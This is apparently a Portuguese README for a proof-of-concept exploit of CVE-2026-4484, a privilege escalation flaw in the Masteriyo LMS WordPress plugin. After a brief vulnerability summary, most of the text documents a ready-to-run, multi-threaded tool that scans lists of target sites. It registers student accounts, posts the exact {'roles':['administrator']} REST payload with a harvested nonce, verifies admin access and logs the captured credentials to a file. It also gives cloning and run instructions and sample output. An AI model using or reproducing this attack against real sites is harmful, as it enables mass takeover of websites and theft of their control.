
Masteriyo LMS <= 2.1.6 - Falta de autorização que permite a usuários autenticados (Student+) escalada de privilégios para Administrador
Masteriyo LMS <= 2.1.6 - Autorização Ausente para Escalação de Privilégios Autenticada (Aluno+) para Administrador
| Campo | Detalhes |
|---|---|
| ID do CVE | CVE-2026-4484 |
| Severidade | ALTA — Pontuação CVSS v3.1: 8.8 |
| Vetor | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Software Afetado | Plugin Masteriyo LMS para WordPress |
| Versões Afetadas | Todas as versões até e incluindo 2.1.6 |
| Tipo de Vulnerabilidade | Escalação de Privilégios (Manipulação de Função) |
| Autenticação Necessária | Sim — Nível de Aluno ou superior |
| CWE | CWE-269: Gerenciamento Impróprio de Privilégios |
Descrição:
O plugin Masteriyo LMS para WordPress é vulnerável a Escalação de Privilégios em todas as versões até, e incluindo, a 2.1.6. A vulnerabilidade se origina na função InstructorsController::prepare_object_for_database, que não restringe adequadamente a atribuição de funções (roles) durante requisições à API REST. Um atacante autenticado com apenas acesso de nível Aluno pode criar uma requisição POST especialmente formulada para o endpoint da API REST do Masteriyo — injetando "roles": ["administrator"] no corpo da requisição — para elevar silenciosamente sua conta para Administrador do WordPress, obtendo o controle total do site sem qualquer interação administrativa.
Este é um script de exploração Proof-of-Concept (PoC) direcionado a instalações WordPress que executam uma versão vulnerável do plugin Masteriyo LMS. A ferramenta oferece suporte a dois modos de ataque:
| Modo | Nome | Fluxo | Caso de Uso |
|---|---|---|---|
| 1 | Nx_1 | Registrar → Login → Escalar → Verificar Admin | Ataque do zero — nenhuma conta existente necessária |
| 2 | Nx_2 | Login → Escalar → Verificar Admin | Conta existente disponível (Aluno/Instrutor) |
[Register / Login as Student]
↓
[Fetch Dashboard Context — user_id + nonce]
↓
[POST /wp-json/masteriyo/v1/users/instructors/{id}]
[Payload: {"roles": ["administrator"]}]
↓
[Re-login with fresh session]
↓
[Verify /wp-admin access → confirmed Administrator]
↓
[Write to Login_admin.txt]
pip install requests urllib3 colorama
Ou via arquivo de requirements:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-4484.git
cd CVE-2026-4484
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-4484.py
python3 CVE-2026-4484.py
A ferramenta usa uma interface interativa de terminal — todos os parâmetros são solicitados em tempo de execução.
Crie um arquivo de texto simples (ex.: list.txt) com um alvo por linha:
https://target1.com
https://target2.com
http://target3.com/wordpress
Use este modo quando você não tiver uma conta existente no alvo. A ferramenta registra automaticamente uma nova conta de aluno e, em seguida, a escala.
Select mode (1=Nx_1, 2=Nx_2) [2]: 1
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username to register (Nx_1) [Nxploited]: Nxploited
Email to use for registration+login (Nx_1) [[email protected]]: [email protected]
Password to use (Nx_1) [Nx_admin]: Nx_admin123!
Etapas executadas automaticamente:
/account/signup/ → extrair nonce de registro/st/ → registrar nova conta como Aluno/account/ → extrair nonce de login/wp-admin/admin-ajax.php → fazer login via AJAX do Masteriyo/account/#/dashboard → extrair current_user_id + nonce/wp-json/masteriyo/v1/users/instructors/{id} com {"roles":["administrator"]}Login_admin.txtUse este modo quando você já tiver uma conta válida de Aluno ou Instrutor no alvo.
Select mode (1=Nx_1, 2=Nx_2) [2]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username or Email for login+escalation (Nx_2) [admin]: [email protected]
Password for that user: mypassword
Etapas executadas automaticamente:
/account/ → extrair nonce de login/wp-admin/admin-ajax.php → fazer login via AJAX do Masteriyo/account/#/dashboard → extrair current_user_id + nonce/wp-json/masteriyo/v1/users/instructors/{id} com {"roles":["administrator"]}Login_admin.txt| Arquivo | Descrição |
|---|---|
Login_admin.txt | Todas as escalações de administrador confirmadas |
https://target.com/wp-login.php user:[email protected]|pass:Nx_admin123!
[OK] https://target.com :: LOGIN OK :: success
[OK] https://target.com :: DASHBOARD :: user_id=42 nonce=a1b2c3d4e5
[OK] https://target.com :: ESCALATE SUCCESS :: user_id=42 username=nxploited roles=['administrator']
[OK] https://target.com :: ADMIN SESSION VERIFIED (dashboard + plugin-install access).
POST /wp-json/masteriyo/v1/users/instructors/{user_id}
{
"roles": ["administrator"]
}
Content-Type: application/json
X-WP-Nonce: <extracted_from_dashboard>
A função InstructorsController::prepare_object_for_database no Masteriyo LMS processa o parâmetro roles do corpo da requisição REST sem verificar se o usuário solicitante possui a capacidade edit_users ou promote_users. Qualquer usuário autenticado (nível Aluno ou superior) que consiga acessar este endpoint pode enviar um valor de função (role) arbitrário — incluindo administrator — que é então persistido diretamente na tabela de metadados de usuário do WordPress.